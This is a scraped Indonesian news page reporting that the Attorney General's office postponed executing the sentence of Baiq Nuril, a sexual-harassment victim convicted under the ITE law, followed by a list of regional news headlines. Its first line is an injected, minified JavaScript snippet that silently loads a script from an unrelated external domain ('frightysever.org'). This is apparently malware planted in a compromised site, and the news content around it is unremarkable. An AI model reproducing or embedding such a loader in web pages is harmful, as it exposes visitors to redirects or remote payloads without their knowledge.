(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA

Kejagung Tunda Eksekusi Baiq Nuril


Terus meluasnya dukungan bagi Baiq Nuril Makmun, mantan guru honorer SMAN Mataram, NTB, yang menjadi korban pelecehan kekerasan seksual dan divonis bersalah melanggar UU Informasi dan Transaksi Elektronik ITE, mendorong Kejaksaan Agung untuk menunda eksekusi yang sedianya dilakukan pada hari Rabu (21/11).

“Melihat aspirasi yang berkembang di masyarakat terkait dengan persepsi keadilannya, maka, untuk itu eksekusi terhadap Baiq Nuril yang telah dinyatakan bersalah menurut putusan Mahkamah Agung yang telah memiliki kekuatan hukum tetap, eksekusinya kita tunda. Kita memberikan kesempatan pada yang bersangkutan untuk mengajukan peninjauan kembali,” demikian ujar Mukri, Kapuspenkum Kejaksaan Agung, Senin (19/11).

Sebelumnya Kejaksaan Negeri Mataram, Jumat lalu (16/11) telah melayangkan surat pemanggilan kepada Baiq Nuril untuk datang dan menjalani eksekusi hari Rabu (21/11).

Kuasa hukum Baiq Nuril, Joko Jumadi kepada VOA Minggu malam (18/11) mengatakan akan datang memenuhi panggilan itu, tetapi akan langsung menyampaikan perlawanan.

‘’Hari Rabu nanti (21/11) kami akan datang, tetapi akan melakukan perlawanan agar Baiq Nuril tidak dieksekusi karena salinan putusan itu belum ada. Saya akan datang untuk menghormati panggilan yang diberikan, tetapi kami juga minta Kejaksaan Agung untuk menghormati hak klien kami karena sesuai aturan hukum eksekusi itu dilakukan dengan menggunakan salinan putusan, yang hingga kini belum kami terima,” jelasnya.

Dukungan kuat mengalir bagi Baiq Nuril, tidak saja dari berbagai lembaga bantuan hukum dan badan di tingkat nasional seperti Komnas Perempuan dan lain-lain, tetapi juga perorangan.

Sebuah permohonan kepada Presiden Joko Widodo untuk memberikan amnesti kepada Baiq Nuril dan seruan penundaan eksekusi sudah ditandatangani oleh ratusan tokoh, terutama aktivis perempuan. Upaya mengumpulkan donasi yang dilakukan lewat https://kitabisa.com/saveibunuril untuk membantu membayar denda 500 juta rupiah yang dikenakan terhadap Baiq Nuril, hingga laporan ini disampaikan sudah mencapai 310 juta rupiah. (em)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.